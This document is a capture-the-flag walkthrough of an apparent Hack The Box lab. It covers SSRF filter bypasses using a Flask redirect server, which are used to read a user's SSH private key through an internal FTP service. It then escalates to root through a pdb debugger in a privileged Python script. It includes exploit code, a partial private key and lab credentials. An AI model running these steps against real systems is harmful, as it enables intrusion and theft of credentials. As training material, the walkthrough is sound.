# LAB - SSRF Read id_rsa
[TOC]
# LAB -1 SubDomain/ SSRF - Read File via URL / Redirect Header bypass filter / Read ./ssh/id_rsa / pdb library to ROOT
```
TARGET_IP=10.10.11.111
TARGET_DOMAIN='forge.htb'
```
```
nmap 10.10.11.111 -p- -T4 &
nmap 10.10.11.111 -sC -sV -T4
```

```
echo "$TARGET_IP $TARGET_DOMAIN" >> /etc/hosts
```
```
wfuzz -u http://10.10.11.111 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26
```

```
echo "$TARGET_IP admin.$TARGET_DOMAIN" >> /etc/hosts
```
http://admin.forge.htb/

Look up Upload Page
```
http://forge.htb/upload
```

```
http://forge.htb/uploads/U1QoZY8iXAzGBdLTZ2bH
```

Attempt upload PHP
```
<?php echo phpinfo(); ?>
```


Attempt to Access admin.forge.htb
```
http://admin.forge.htb
```

admin.forge.htb not be allowed
## SSRF Filter - Bypass
### Way-1 : Upper Char bypass filter
```
http://aDmin.Forge.htb
```
Bypass successfully
http://forge.htb/uploads/ySrOxwcwEb2sQgUCQPYy

### Way-2 Redirect Header Bypass Filter
we observer the http request, we can know the request is launched by python request module
```
User-Agent: python-requests/2.25.1
```
We can simple setup a flask server and set redirect header to bypass filter !
```python=
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/',)
def redirectToAdmin():
return redirect("http://admin.forge.htb/") #Seting Redirect Http Header
app.run(debug=True,host='0.0.0.0',port=80)
```

```
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
```
Update HTTP server
```
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/',)
def redirectToAdmin():
return redirect("http://admin.forge.htb/") #Seting Redirect Http Header
@app.route('/announcements')
def redirectToAnnouncements():
return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header
app.run(debug=True,host='0.0.0.0',port=80)
```
Exploit
```
http://10.10.16.7/announcements
```

```
curl -v http://forge.htb/uploads/ozZHmnamDPVjDCjjw55u
```

ftp Username/ Password
```
user:heightofsecurity123!
/upload endpoint now supports ftp, ftps, http and https protocols
```
#### Bypass Firewall to Access FTP via redirect Server
`?u=<url>. -> ?u=<url>`
```python
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/',)
def redirectToAdmin():
return redirect("http://admin.forge.htb/") #Seting Redirect Http Header
@app.route('/announcements')
def redirectToAnnouncements():
return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header
@app.route('/ftp')
def redirectToftp():
return redirect("ftp://user:heightofsecurity123!@127.0.0.1")
app.run(debug=True,host='0.0.0.0',port=80)
```
exploit
```
http://10.10.16.7/ftp
```

It seem not support direct connect to ftp via redirect header
we can utilize the announcements information
upload endpoint have customer script to support ftp or ftps
```python=
from flask import Flask,redirect,request
app = Flask(__name__)
@app.route('/',)
def redirectToAdmin():
return redirect("http://admin.forge.htb/") #Seting Redirect Http Header
@app.route('/announcements')
def redirectToAnnouncements():
return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header
@app.route('/ftp')
def redirectToftp():
return redirect("ftp://user:heightofsecurity123!@127.0.0.1") #not supported
@app.route('/ftp2')
def redirectToftp2():
path = request.args.get('path',default='')
return redirect(f"http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/{path}")
app.run(debug=True,host='0.0.0.0',port=80)
```
exploit
```
http://10.10.16.7/ftp2
```


```
http://10.10.16.7/ftp2?path=snap
```
Attempt -> .ssh/
```
http://10.10.16.7/ftp2?path=.ssh/
```

Steal Private RSA Key
```
http://10.10.16.7/ftp2?path=.ssh/id_rsa
```
RSA Key
```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
.....
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
```
```
chmod 600 rsak2
ssh -i rsak2 user@10.10.11.111
```


### Python Script pdb library to ROOT
```python
user@forge:/home$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
```
pdb -> allow attacker Input very long number to the int() function to trigger python debugger
```
VulnCode
import pdb !!
option = int(clientsock.recv(1024).strip())
```

span shell
```
import os
os.system('bash')
```


```
root@forge:~# cat clean-uploads.sh
#!/bin/bash
rm /var/www/forge/forge/uploads/*
```
Solved !